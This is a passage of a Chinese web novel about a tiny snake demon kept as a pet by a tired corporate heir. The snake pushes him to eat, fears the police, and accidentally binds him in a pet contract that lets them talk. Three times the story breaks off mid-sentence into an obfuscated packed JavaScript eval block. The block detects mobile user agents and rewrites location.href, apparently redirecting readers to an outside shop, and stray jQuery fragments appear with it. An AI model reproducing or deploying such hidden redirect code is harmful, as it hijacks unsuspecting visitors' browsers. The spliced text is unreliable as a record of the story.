徐秘书:“?” 养的不是蛇吗? 好不容易学完三节课,又兢兢业业地写完十个字,青玉竹感觉自己都要虚脱了,躺在桌子上半天不肯起来。 乔昭也没管他,戴着耳机继续处理工作,子公司上午突发危机事件,远程会议开了快三个小时了。 看了看时间,他取下耳机低声让蛇妖先去吃午餐。 青玉竹吐了吐蛇信,蛇瞳看着他。 你不去吃饭吗? 但乔昭已经戴上耳机继续忙碌了。 青玉竹只好自己跋山涉水地下楼,戴着白色高帽的厨师正在一一把饭菜端上桌。 看到从地板上蜿蜒而来的青色小蛇,厨师没有再失态,只是加倍小心脚下,沉默地做着自己的事情。 时不时偷瞄一眼雇主少见的宠物。 青玉竹慢条斯理地爬上桌子,在撕成碎条的鸡肉前盘好,低头进食。 经常来家里的几个人类似乎都知道了他的存在,没有再被他吓到,反而总是偷偷看他,还以为不会被他发现。 真是愚蠢的人类,蛇什么都知道! 青玉竹一边吞咽,一边老气横秋地想。 等他把自己喂饱,已经是日照中天,但是饲主完全没有下来吃饭的意思,青玉竹苦恼了一下,干脆直起身体定定地看着不远处偷看他的厨师。 厨师僵住了。 十几分钟后,厨师面色怪异地敲响了书房的门。 乔昭揉了揉眉心,暂停了会议,缓了口气才起身开门。 门外站着自己的厨师。 厨师肩背脖颈僵着不敢动,手里端着小份的四菜一汤,帽子上盘着一条得意洋洋的小蛇。 乔昭愣了一下。 “乔总,您的,您的……”厨师的表情准确来说,是一种亲眼目睹了建国后成精的不可思议,他吞了吞口水才继续说道,“您的蛇说需要给您送饭。” 说完这句话,他沉默下来——大概三观已经被震碎了。 “蛇可以有人类十几岁的智商。”乔昭信口胡说,在厨师头顶伸出手,青色小蛇丝滑地爬到了他的手心里。 厨师显然没学过野生动物学,懵逼了一下:“是,是吗?” 乔昭面不改色地点头:“蛇很聪明的。” 青色小蛇兴高采烈地摇尾巴。 对的对的,蛇很聪明的! 厨师长舒一口气,原来是这种动物本来就聪明啊,他那种见到妖精的紧张感没了,由衷称奇:“我只听说过猫猫狗狗有特别聪明通人性的,没想到您的蛇也能这么厉害,不愧是您养的宠物。” 乔昭嘴角一抽。 虽然我是随口胡诌的,但你这话也未免太不尊重事实了。 厨师带着一脸“长见识”的表情离开了。 乔昭端着午餐和小蛇回到了书桌前,看了一眼盘在的餐盘边缘的小蛇:“你现在能说话了?” 青玉竹摇摇头,然后摇头摆尾地告诉饲主自己是怎么和厨师“沟通”的。 其实就是用尾巴反复在二楼和美食之间指指点点,直到厨师问出那句“是要给乔总送吃的吗?” 只不过饲主的厨师也笨笨的,他用了好长时间才让厨师明白自己的意思。 乔昭诡异地看懂了他的肢体语言,一时心绪复杂。 上次提醒他按时吃饭的人还是二十多年前的邻居奶奶,他连她的脸都快忘记了。 回到书桌前,视频会议的高管还在争吵不休,但乔昭已经没有耐心了,没什么温度地叫了暂停,让他们先去吃饭。 任谁都听得出来他语气中的寒意和不满,众人纷纷噤声,老老实实地离开了。 青玉竹缩在餐盘边上,有些好奇地看着眼前有些陌生的饲主——分明饲主刚才没有发火也没有疾言厉色,但就是莫名让蛇发怵。 这就是短剧里说的“气场”吗? 青玉竹若有所思。 乔昭从麻烦的工作中暂时松了一口气,低头看见蛇妖呆头呆脑的样子,顿了一下:“吓到你了?” 嗯? 青玉竹闻言抬头,看着他摇摇脑袋。 蛇才不会被一个人类吓到! 乔昭眼底浮现一丝笑意。 青色小蛇尾巴拍了拍饭碗的边缘,示意饲主赶紧吃饭。 也不知道饲主哪里来的精力,他只是学了三十个字就累的不行,饲主都学习一上午了还毫无疲惫感,如果不是他很有做灵宠的天赋,记得提醒饲主吃饭,饲主恐怕会把自己饿到! 人类你真是太不省心了! 乔昭没看懂蛇妖恨铁不成钢的眼神,但圆滚滚的蛇瞳直直看人时,有种说不出的呆萌,他一时没忍住,伸出手指戳了戳直立起来的小蛇。 青玉竹被他戳得缩了一下,他本来就立在餐盘边缘摇摇欲坠,这么一缩顿时没保持住平衡,从餐盘里摔了出去。 乔昭:“……噗。” 青玉竹要被饲主的手欠气死了! 他翻身而起,“嘶嘶嘶”地骂得可难听了,尾巴拍着桌面仿佛在给骂声伴奏。 乔昭赶紧哄蛇,从碗里夹了一小块牛肉喂他,青色小蛇的“嘶嘶”声一停,吞下肉,然后继续“嘶嘶”。 乔昭:“……” 他伸手点了点青色的小脑袋:“我不是故意的,气性怎么这么大。” 青玉竹瞪着眼睛看他,道歉! 乔昭从善如流,又给他喂了一块牛肉:“是我不好,再吃一点?” 青玉竹一口把肉吞了,十分矜持地点头,算是原谅了饲主的手欠。 被蛇妖这么一闹,乔昭紧绷的神经缓和了一些,随即而来的是一股从心到身的疲惫——从二十岁大学毕业进入乔氏集团开始,他面临过比这严重得多的危机,在难以计数的不眠之夜里殚精竭虑,但从没有哪天觉得工作如此令人疲惫。 要是能和蛇妖一样每天无忧无虑就好了。 青色小蛇就盘踞在他餐盘旁边,虎视眈眈地盯着他吃饭,但凡哪一道菜少吃了一点,他都要用尾巴指示乔昭多夹一点,不准挑食。 这种面面俱到的关心让乔昭哭笑不得之余,那种萦绕身心的厌倦却更加严重了。 但再累工作也还是要继续,这个位置是他千辛万苦自己争来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17012979|194099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,随之而来的一切他都得担着。 乔昭很快压下不想工作的念头,收拾碗筷放到厨房,顺势把蛇妖送回饲养箱里,照例调出短剧给他看着,然后自己上楼继续处理工作。 青玉竹十分同情地目送饲主上楼。 他不清楚饲主在干什么,但毫无疑问男人看着很疲惫,但疲惫也不能休息,真是太惨了! 他难得生出了一点上进之心。 作为灵宠,要学会给饲主排忧解难,但他现在连字都认不全,怎么能帮上饲主呢? 所以要努力学习! 青玉竹在莫名的鸡血里非常严肃地主动调出了认字视频,认真学习。 两分钟后。 青色小蛇如同面条一样在莲花床上挂的歪歪扭扭。 学习好累哦……明天,明天一定多学一节课! 定下明天的计划,青玉竹心安理得地回到了短剧APP,尾巴在屏幕上随意划拉着。 青玉竹不是很喜欢昨天的“乔总和她的四个男人”,只是为了寻找狐狸姐姐的踪迹才看了下去,可惜狐狸姐姐也没出现过几次,他很快没了兴趣。 此时便寻回初心,开始寻找为他进行短剧启蒙的复仇姑娘,找着找着不知道点到了哪里,屏幕上的剧照突然全部变了一个画风。 人和物都不太像是真的,还出现了各种动物。 青玉竹好奇地往下划拉,突然看到了一条蛇! 他本能地看向剧名:《OO蛇的历O记:OOO大王》 唔……好几个字都不认识,但没关系,这可是蛇诶!蛇也能登上戏班子表演吗? 青玉竹目光炯炯,兴致勃勃地点了进去。 …… 太阳又落了下去。 晚饭时厨师十分自觉地又来给他送了一次饭,乔昭本来没什么胃口,但架不住蛇妖一脸“不吃饭就咬你”的虎视眈眈,只能把送来的饭菜全部吃完,差点把自己撑到。 养一只过分懂事的蛇妖还真是痛并快乐着。 乔昭在自己都没发觉的高兴里,堪称心平气和地处理完了公司的事情,本以为他要大发雷霆的高管们带着一脸苟活的庆幸离开了会议室,等这一切结束,时间已经到了深夜。 乔昭按了按突突跳动的太阳穴,缓口气后又给未接来电回了一个电话。 昨天他就蛇妖那张寻人启事找有门路的人咨询了一下,对方很给他这个乔氏新掌门人的面子,答应打听一下后告诉他。 今天想来就是有消息要告诉他,只是他开了一整天会没接到。 “乔总,那个事你最好不要打听了。”对方接起电话的第一句就让乔昭心头一沉。 他不由得问道:“你知道具体是什么情况吗?” 对方含糊道:“不太清楚……那个人相关的资料几天前就已经变成绝密了,现在虞城没几个人有资格看……这背后的水太深了,我不敢掺和,你最好不要掺和。” 乔昭缓慢地吐了一口气。 这倒是验证了他之前的一个猜测——如果这个世界上有妖怪,那掌控着社会的国家会不知道吗?他们会有相应的人员来管理吗? 现在看来答案是肯定的……只是不知道这些人的态度如何……是一律喊打喊杀还是也给妖怪公平正义的妖权? 他知道的信息太少难以判断,所以也不能贸然暴露蛇妖就在自己这里……否则如果是前者,那不是导致蛇妖白白送命? 他沉默的时间太长,对方忍不住开口安慰:“乔总也不用可惜,那人虽然是长得很漂亮,但以你的财富地位要什么样的美人没有,实在不行哪天我帮你介绍一个,保准也不差多少……” 乔昭猝不及防:“……?” 不是等会儿,你在说什么?! 15.认真学习ing 乔昭一脸木然地听着对方絮絮叨叨,内心万马齐喑。 他只不过是隐去蛇妖的前因后果,委婉打听了一下寻人启事上的“人”,并在对方称赞蛇妖容貌的时候礼貌符合了一句而已! 怎么就变成他对蛇妖图谋不轨了! 这帮人真的是心黄看什么都脏! 但他有求于人又要掩盖秘密,都没法发作,只能默认了对方的猜测,在十分的煎熬里终于结束了这通电话。 此时此刻他只能庆幸对方口风向来够紧,否则他的名声就彻底完了。 乔昭缓了半天才走出书房,别墅里一片寂静。 他走下楼梯,空荡荡的客厅里只有蛇妖的玻璃饲养箱是有色彩的。 镶嵌在山间树丛里的感官灯亮着萤火般的光,一条小蛇把自己挂在树枝上荡来荡去,玩得很开心。 乔昭不自觉驻足凝望。 蛇妖的资料已经变成了绝密,所以他极有可能已经进入了官方视线里……从理智上来说,他此时联系警察将蛇妖带走是最好的选择。 既然蛇妖的存在是绝密,那么与蛇妖有联系的他大概率也会进入机密范畴,无需担心警情对公司的影响。 而且蛇妖离开后,无论他的目的是好是坏,都与他无关,他能彻底将自己从可能的危险中摘出来。 可人总不会始终理智。 蛇妖的陪伴和关心是他的人生中屈指可数的善意,故而愈发弥足珍贵——甚至压过了他赖以生存的多疑本能。 他并不想将蛇妖交给其他态度不明的人,哪怕是官方机构也一样。 青色小蛇很快发现了一旁驻足凝望的人类,直接从树上跳下来爬到了他面前,细小的蛇信一吐一吐的。 乔昭回过神,视线落在蛇妖身上,声音是自己都没发现的柔和:“怎么了?” 青色小蛇尾巴指了指黑屏的手机。 乔昭眼中笑意微微:“没电了?” 青玉竹点头。 他已经知道了威胁手机亮屏是没用的,手机没电就会黑屏,需要充电才会重新亮起。 但是他被电这种东西攻击过,要不是他技高一筹就死了,平时都绕着电线走的,而且手机又大又重,他也没有办法给手机充电。 所以手机没电之后他就开始在饲养箱里爬上爬下的自娱自乐,只不过以前很有意思的各种活动和短剧比起来都略逊一筹,手机没电后他就无聊得发愁。 可饲主今天很忙,他又不好打扰,只能挂在树上晃悠来晃悠去地消磨时间,终于等到了饲主下来。 乔昭把手机拿出来充上电,看着蛇妖眼巴巴望着手机充电的样子沉吟了一会,干脆将手机和蛇妖一起带回了书房。 手机在一旁充电,而他则翻出来一个的充电宝,耐心地教蛇妖怎么用。 青玉竹没想到还有这种东西,眼睛亮晶晶的,用力把充电宝扒拉到自己身边开始琢磨。 乔昭一边看着青色小蛇对充电宝拍拍打打,一边思索着要怎么将“寻人启事”的事告诉蛇妖。 虽然以蛇妖清澈的脑子,可能告诉他也没用,但毕竟事关己身,他起码应该有知情权,而且乔昭虽然不想把他交出去,但万一蛇妖本蛇有其他的想法呢? 只是他还没开口,玩腻了充电宝的青色小蛇突然想起什么似的,用蛇尾拍了拍他。 乔昭低头看着青色小蛇。 青玉竹用力将充电宝推到了一边,兴致勃勃地打算给饲主展示一下自己刚刚学到的走路新姿势。 这个世界蛇居然还会这么走路! 青玉竹ΩΩΩΩ地沿着书桌边缘拱了一个单边。 乔昭本来严肃的思维瞬间不连贯了:“?” 乔昭目瞪口呆:“……” 一贯沉稳乔氏掌门人忍不住揉了揉眼睛,然后发现自己没有眼花,蛇妖真的又ΩΩΩΩ地顺着书桌边缘拱到了他面前。 然后仰着脑袋用一双琥珀色蛇瞳亮晶晶的看着他,似乎在等待表扬。 “你……”乔昭语调仿佛在做梦,“你为什么要学习毛毛虫?” 毛毛虫是什么? 青玉竹没听过,但饲主的反应让他很不满意。 怎么回事,不觉得这个姿势很有气势吗! 他看的短剧里那条蛇就是这么气势汹汹地爬到敌熊面前把熊抽了一顿的。 乔昭:“……” 他不用想都知道蛇妖这些东西哪里学的,十分头疼地按着眉心:“以后你不准看些乱七八糟的剧,更不准跟着学!” 青玉竹很不服气。 乔昭一言不发地拿出自己手机给他看毛毛虫是什么东西,面无表情地问他:“你想当虫子还是当蛇?” 青玉竹:“……” 青玉竹目瞪口呆。 你们人类为什么要让蛇做虫子的动作! 可恶的人类! 青色小蛇被气到了,拍着尾巴骂骂咧咧,气势汹汹地朝着手机进发,看上去很想把手机打一顿。 乔昭有些好笑:“下次还什么都跟着学吗?” 蜿蜒爬行的青色小蛇听到饲主的阴阳怪气,立刻扭头,立起身体冲他哈气。 乔昭没忍住笑出了声。 青玉竹:“……” 人类,你真的很烦!!! 但饲主嘴角的笑意很快消融不见,青玉竹忍不住歪了歪头,大度原谅了饲主的冒犯,用蛇尾拍了拍饲主的手。 你怎么了? 乔昭看着手边的青色小蛇,斟酌了一下语气:“有件事需要告诉你……你知道警察在找你吗?” 青玉竹呆了一下。 警察,什么警察?什么找我? 什么?!警察在找我?! 他猛然反应过来,第一时间跃下书桌,用最快的速度躲进了书房的角落里,借助庞大的书柜把自己藏的严严实实的。 警察为什么要找我!不要找我! 青玉竹缩在角落里瑟瑟发抖。 乔昭完全没想到蛇妖会有这么大的反应,后续的话顿时都咽了回去,他快步走到书柜前,单膝跪了下来。 但蛇妖藏得太深,他只看到了一片黑暗。 他想把蛇妖叫出来,但张口欲唤时又一次想起来他不知道蛇妖的名字。 犹豫了一会,乔昭敲了敲书柜的边缘,轻声唤道:“小蛇?” 听到这个很久没有人呼唤的称呼,团成一团的青玉竹愣了一下,小心翼翼地从阴影中爬出来,从书柜底部探出半个扁扁的脑袋,细小的蛇信不安地吐着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016135|194099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 乔昭伸手轻轻点了点他的脑袋:“你害怕警察?” 人类温暖的手指给了青玉竹一丝勇气,他慢吞吞地爬出来,盘在饲主面前,抬起脑袋点了点。 乔昭安静地看着他:“为什么?” 青色小蛇抬着脑袋,做出一个“思索”的样子。 为什么呢?青玉竹也说不太明白,以他从短剧上了解的情况,警察不会打他的板子,但他还是本能地排斥这种代表“人类秩序”的机构。 饲主一个人类可以接纳他,但很多很多的人类在一起,却一定容不下他。 别说普通人类,一些人族创建的仙家门派都接受不了妖怪,他们甚至成群结队地找过仙君,要斩妖除魔维护人间秩序。 虽然最后被仙君打回去了,但当初那些人叫嚣着的“非我族类其心必异”让他记忆深刻。 如今他法力尽失,妖身缩水,自保能力基本没有,可以依靠的仙君和伙伴也都不见了踪影,而他又到了一个完全陌生的人类世界里,一醒来就差点死在人类手上。 这一切的一切都让他深刻理解“非我族类其心必异”。 他对此深感恐惧。 在饲主身边的时候还好,饲主大部分时候都是一个人,偶尔上门的也就是那么两三个固定的人类……但警察,那是完全陌生且会有很多很多的人类。 如果警察和当初那个仙家门派一样,也要维护人间秩序呢? 他不想见警察。 青玉竹不安地扭了扭身体。 乔昭虽然不知道他的具体想法,但站在蛇妖的角度稍一思索,他很轻易地猜了出来:“你担心警察会对你不利?” 青玉竹眼睛一亮,不住点头。 乔昭沉默。 他没法给蛇妖否定的回答,虽然盯上蛇妖应该是比警察更特殊的组织,但他并不清楚这个组织究竟是如何看待妖怪的,万一蛇妖的害怕是真的呢? 半晌之后,在青色小蛇越发不安的扭动里,乔昭伸手摸了摸他的头:“别怕。” 青玉竹抬头看着自己的饲主。 “警察不会找到你的。”乔昭的声音轻缓而不容置疑,“你现在很安全。” 那个特殊组织几天前就插手了,如果他们真的掌握了蛇妖的动向,以乔氏在虞城千丝万缕的触角关系,自己不可能没收到任何风声,只能说明他们现在暂时找不到蛇妖。 而不管原因是什么,只要还有缓冲的时间,就有操作的空间。 乔昭飞快过了一遍自己手里的人脉,迅速筛选出几个可能会有消息的人物,打算找机会打探一下消息,但这件事他不能出面,避免把视线引到自己身上……还得找个稳妥的中间人。 这些事情就没必要告诉蛇妖了,毕竟蛇妖只是听到警察的存在就吓成这样,实在没必要让他继续担心受怕。 他低头看着面前的青色小蛇,圆滚滚的琥珀色蛇瞳已经竖成了一条线,整条蛇还是很紧张地团成一团。 乔昭顿了一下,朝着青色小蛇伸出了手。 蛇妖速度飞快地把自己缠在了他的手指上,力道大的甚至让他感受到了一点疼痛。 乔昭伸手摸了摸扁扁的蛇脑袋,许下他极少出口的承诺:“别怕,我会保护你的。” 16.超级简单的契约 “仙君身为昆仑仙境有数的大罗金仙,便是如此给天下做表率的吗?” “既知本座是大罗金仙,那谁给你们的胆子到寒月宫挑衅?” “仙君慎言!昆仑仙境还不是您一人的道场。” “仙君,非我族类其心必异,您身为人族,怎么能和这些鳞毛之辈同流合污。” “本座行事轮得到你等来聒噪?” “仙君您莫要执迷不悟!天下……” “行了,天下关我何事,要打便打,废话这么多作甚。” “不好!小心!” 猛烈的灵力冲击从寒月宫前爆发,术法的余威一波接着一波,寒月宫的大阵发出难以支撑的痛苦呻吟,然后破碎。 青玉竹在铺天盖地的灵光里慌乱地朝着内殿爬去。 一团火落到了他的鳞片上,漂亮的青鳞瞬间被烧灼一片,火焰蔓延全身,青玉竹顿时疼得打滚。 “金仙境大战你都敢偷看,笨蛇你不要命了!”一道熟悉的声音飞速地由远及近,紧接着他尾巴一紧,长着狼耳的高大男人拽住他的尾巴把他甩进了寒月宫内殿的灵泉里,“躲好别出来!” “嗤……” 青玉竹猛地醒了过来,入眼是一个有些陌生的房间。 他反应了一会才想起来这是饲主的卧室。 因为被“警察在找你”吓了一跳,青玉竹死活不愿意自己一条蛇待在饲养箱里,饲主便把他带回了自己的房间。 此时他睡在一块叠放起来的柔软枕巾上,就摆放在饲主头边。 他一扭头就能看到人类安静的睡颜。 青色小蛇慢吞吞地挪了一下身体,脑袋垫在尾巴上,呆呆地看着自己的饲主。 他好像梦到了过去的事情,可醒来之后记忆模模糊糊,只依稀记得那是一件很可怕的事情。 可他在寒月宫的时候,遇到过可怕的事情吗? 没有印象了。 醒过来后他丢失了很多记忆,但也还记得很多温暖有趣的事,于是他也不再去想那些丢失的东西。 可今天可能是白天惊吓过度,哪怕说服自己梦就是梦,但青玉竹仍然感到了一阵一阵的心悸,整条蛇都不太舒服。 盘成一坨的青色小蛇鬼鬼祟祟地拉长了。 作为一只灵宠,要懂得审时度势……不该逞强的时候要果断认怂。 青玉竹爬到了饲主身上,找了一块软硬适中还有被子遮盖的地方盘住。 温暖的体温传到鳞片上,像是泡在了寒月宫里的那汪温泉里,头顶还有一床密不透风的被子,营造出了一个安全的小空间,青玉竹不自觉软了下来,那种心悸感逐渐消退了。 然后他突然被人从被子里拿了出来。 青玉竹:“!!!” 他又被吓了一跳,在空中扭成了麻花——但也没能挣脱束缚。 然后他听到饲主轻笑了一声。 青玉竹:“……” 可恶的人类! 他扭头在饲主手上咬了一口,基本没有用力,所以米粒大小的牙连皮都没能咬破,乔昭面不改色地把他放到了枕头边,自己侧过身体看着他:“不睡觉乱爬什么?” 青玉竹乖乖地盘成一团:“嘶嘶嘶——” 乔昭不知道他在嘶什么,但蛇妖实在是很好懂:“还在害怕?” 青玉竹诚实地点头。 “……”乔昭沉默一会儿,“睡我身上就不怕了吗?” 青玉竹继续诚实地点头。 刚刚找到的位置真的又小又暖又很安全。 乔昭叹了一口气:“你就没想过你睡在我肩上,我一翻身你就被甩下去了?” 青玉竹吐了吐蛇信。 那你不要翻身不就好了。 乔昭不知道他想说什么,但看蛇妖假装没动其实一直往他身上贴的动作,就知道他没听进去,一时头疼无比。 青玉竹还在假装没动地往被子里钻,然后被饲主按住了尾巴,他立刻调整战略,扬起扁扁的小脑袋,可怜巴巴地看着饲主。 蛇真的很害怕。 乔昭:“……” 他面无表情地掀开了被子的一角。 青玉竹欢快地吐了吐蛇信,飞快爬到饲主身上,在锁骨下陷的位置盘好,一双琥珀色的蛇瞳在窗外映进微光里泛着诡异的光。 乔昭伸手拢住身上的小蛇:“安静睡觉。” 青玉竹被饲主拢在掌心,视野一下子黑了下来,这让他想起了过去很久远的时光里,他也是这么缩在漆黑的洞穴里躲着天敌的。 这样的熟悉感让他安静了一分钟。 很快青玉竹就觉得呼吸不畅,于是开始脑袋用力顶着人类的手指,终于从饲主的两指之间把头探了出去,空气重新进入,青玉竹深吸一口带着冷意的空气,把迷糊的睡意一起弄没了。 他立起一点点身体,蛇瞳炯炯有神地看着近在咫尺的的人类。 乔昭抬起另一只手压在了自己眼睛上,语气相当无可奈何:“又怎么了?” 没事哦。 青玉竹摇摇脑袋,在饲主的身上爬动着,直到脑袋从被子下探出一点点,又把尾巴牢牢缠在饲主手指上,这才惬意地吐了吐蛇信,不动了。 “现在可以睡了?”乔昭声音透着股生无可恋的疲惫,严重的入睡障碍和不会说话的蛇妖瞎折腾,说不准哪个更磨人一点。 青玉竹舔了舔近在咫尺的人类皮肤,向饲主送上刚学会的入睡祝福——晚安。 身上冰润柔滑的青色小蛇不动了,可存在感更强了。 乔昭手指被蛇妖牢牢缠住,不得不保持一个别扭的姿势放在锁骨下方,本来就睡不着,姿势不舒服加上担心蛇妖掉下去被自己压扁,更加睡不着了。 半晌后,他认命的叹口气,闭着眼睛开始思考工作。 脑子里复盘了一遍今天工作和梳理一遍明天的日程,他的思绪很快转到了蛇妖身上……会是什么样的组织想要找他? 具体该怎么打听呢? 他肯定没有办法出面,否则会第一时间把视线引到自己身上,蛇妖只会暴露得更快,所以只能找其他人……徐秘书一样目标显眼…… 思来想去,最佳人选还是钱锐钱公子,他们家本来就有迷信的习惯和传统,打听这种神神鬼鬼的事情不会很引人注意,只不过一些人钱锐未必见得到,需要他牵线搭桥…… 龙鼎集团的慈善晚宴倒是一个很好的机会,有不少人都会出席。 但……还能把蛇妖带到晚宴上吗? 乔昭有些犹豫不决。 不如等明天蛇妖醒了以后再问问他找那个女人到底想干什么,情况未定之前,能不出门还是不要出门的好…… 各种思绪纷纷扰扰,终于在天色泛白的时候,乔昭终于闭上眼睛陷入了沉眠。 只是他似乎刚闭上眼睛,耳边就响起了一道陌生的抽泣。 “哇……饲主你醒醒,我不是故意的呜呜呜呜……” 声线华丽矜贵,听着像是举止雍容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027684|194099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的世家公子,就是内容哭哭啼啼叽叽喳喳,反差感大得让人以为是自己有病。 乔昭撑开沉重的眼皮,一根放大的蛇直直地杵在眼前。 乔昭:“……!!” 乔总一时受惊,直接坐了起来,本来盘在他胸膛上的青色小蛇毫无防备地摔进了床铺里,在绵软蓬松的被子里半天没爬起来。 乔昭愣了一秒,赶紧把蛇妖从被子里捡出来:“你还好吗?” 一个抽抽搭搭的声音直接响在他脑海里:“我没事的。” 乔昭表情逐渐古怪,低头和盘在自己手心的青色小蛇对视:“你,你在说话?” “嗯。”那道声音带着一股挥之不去的心虚,“我不是故意咬你的你肩上疼不疼有没有哪里难受我没有毒的你放心!” 乔昭:“……” 他表情更古怪了。 身上没有任何感觉,反而是脑子里这道声音……实在是很少有人声音就给他一种贵公子的感觉。 乔昭不期然想起和蛇妖人形的一面之缘——面容昳丽、气质矜贵,和这道声线倒是很相配,一看就是高高在上的仙神形象。 谁想得到那副皮囊下面的灵魂会如此清澈光滑呢? 乔昭忍不住按了按太阳穴——看来妖也不可貌相。 “饲主你还好吗?”蛇妖又开口,语调里还有点小心翼翼。 乔昭先看了一眼自己光滑无伤的肩,这才转向青色小蛇:“发生了什么事,为什么我能听到你的声音?” 青色小蛇肉眼可见的,团紧了。 “我,不小心,咬了你……”他吞吞吐吐一字一顿地把昨天的事情说了一遍。 大概就是睡觉睡迷糊里把他当成了肉啃,结果阴差阳错把积攒起来的妖力全部注入了他的体内,形成了一个契约。 “因为这契约我才能听到你说话吗?”乔昭若有所思。 “嗯嗯嗯嗯。”蛇妖连声肯定。 “这个契约有什么作用?”乔昭继续问道。 青色小蛇继续吞吞吐吐:“大概,就是听到我说话什么的……” 乔昭看着手心的青色小蛇,总觉得自己能从那双琥珀色的蛇瞳里看到十分乃至百分的心虚。 他挑了挑眉:“就这么简单?” “就,就这么简单。”蛇妖很“坚定”。 那就没这么简单,这个契约绝对有鬼,而且是蛇妖不敢说出来的鬼。 但出于乔昭自己预料的是,遇到这种毫不讲道理的玄学契约,在完全不清楚是否有负面效果的时候,他竟然没有多少害怕焦虑的感觉。 ……归根结底还是因为蛇妖的脑子吧。 他实在不相信这条蛇有那种害人的智商。 他看着青色小蛇担忧心虚的蛇瞳,平静地说道:“我身上没什么不舒服的。” “那就好!”蛇妖肉眼可见地松了一口气,重拾信心人立而起,在乔昭脑海里“咳”了一声,“我不是故意要咬伤你的,对不起,你可以原谅我吗?” 听出他语气里的认真,乔昭颔首:“没关系,不用道歉。” “我就知道饲主你是好人!”蛇妖用华丽的声线很欢快地应了一声。 乔昭嘴角一抽,实在难以招架这种诡异的反差和这个诡异的称呼:“不用叫我饲主……我叫乔昭,叫我名字就好。” 他顿了顿:“我还不知道你的名字。” “我叫青玉竹。”青色小蛇高高兴兴地回答,“是青玉色的像竹子一样的蛇!” 17.灵宠契约 “青玉竹……” 乔昭重复了一遍这个名字。 掌心里的青色小蛇在逐渐升起的阳光里泛着玉一样的光,倒是和这个名字非常贴切。 于是他笑了笑:“很好听的名字。” 青玉竹骄傲地扬了扬脑袋:“我也很觉得很好听!这是仙君给我起的!” “仙君?”乔昭重复了一遍这个称谓,有种掉入仙侠小说的虚幻感,“仙君是谁?” “仙君就是瑶光仙君!”青玉竹与有荣焉的样子,“是很厉害很厉害的仙人!” “瑶光仙君……”乔昭飞速检索了一下自己的记忆——他并没有听说过这个名号的神祇,沉吟了一会儿他问道,“他是和北斗七星有关的仙人?” 青玉竹愣了一下:“不知道呀。” 乔昭:“……” 他把差点脱口而出的“那你知道什么”咽下去,转而问道:“那你和瑶光仙君的关系是什么?” “仙君是我上一任饲主。”青玉竹不假思索,“我以前就是昆仑仙境寒月宫的小妖怪!” 没等乔昭询问,他又叭叭叭地把什么是昆仑仙境、什么是寒月宫说了一遍,说着说着他就打开了话匣子,开始发散思维把自己知道的事情都说了一遍。 万灵迸发的时代,山林之间有山鬼妖精,洞天福地里栖居着仙家门派,昆仑仙境高悬于天,居住着长生不老的仙人。 重点内容当然是把自己道场改成动物园的瑶光仙君,以及青玉竹在动物园里的好伙伴们。 一切的一切,听上去都像是编出来的神话故事。 乔昭沉默的听着这些离谱的故事——由于太离谱反而像是真的。 不然怎么解释蛇妖的存在呢? 青玉竹叭叭叭地说了一堆,有些意犹未尽地吐蛇信:“……我渴了。” 乔昭顺手把床头放着一杯温水端过来喂他。 青玉竹尾巴缠在乔昭手上,把头伸进杯子里小口小口地喝着水。 乔昭若有所思地看着他喝水:“这么说你也不知道自己为什么会从昆仑仙境离开?” 青玉竹在杯子里抬起头点了点,又很繁忙地低下头喝水。 等他喝饱了把头拿出来,乔昭才不动声色地问道:“那你现在能恢复多少法力?” 青玉竹缠在他的手指上,声音有些苦恼:“没有多少法力,也不知道什么原因。” 说完,他又非常沧桑地叹了一口气:“我只能猜测可能是天地法则有变,我凝聚灵力的速度慢得不正常,现在也没有多少法力。” 乔昭不经意道:“不会是因为昨晚的契约消耗了很多吗?这个契约很复杂吗?” “不是啦,灵宠契约不消耗多少法力的,不然也不会这么容易就成功了。”青玉竹回答得不假思索,“是我根本没有恢复多少法力……” 说着说着他突然发现了不对。 怎么突然感觉浑身发毛? 瞥见饲主突然黑下去的表情,青玉竹后知后觉地发现自己说了什么可怕的东西,第一时间就弹射起步,试图从饲主手掌里跑路。 然而他还是慢了一秒,乔昭手指一合就把青色小蛇牢牢抓在了手心,一字一顿地问他:“灵、宠、契、约,谁是灵宠?” 青玉竹怂哒哒地缩成一团:“哈,哈,哈,这个,这个嘛……” 他顾左右而言他,东张西望地希望找到逃跑的机会。 这个契约虽然是他主动缔结的,但从理论上来说当然他自己是灵宠而饲主是灵主……但坏就坏在乔昭是个没有法力的普通人,于是这个“主”就易位了。 但乔昭这些天好吃好喝地养着他,还送了他一个大大的新窝,还安慰他保护他,他还没尽到多少灵宠的责任,反而转头就给饲主按了个“灵宠”的身份,着实有点过分。 青玉竹既心虚又愧疚。 乔昭看他的样子就知道了答案,直接气笑了。 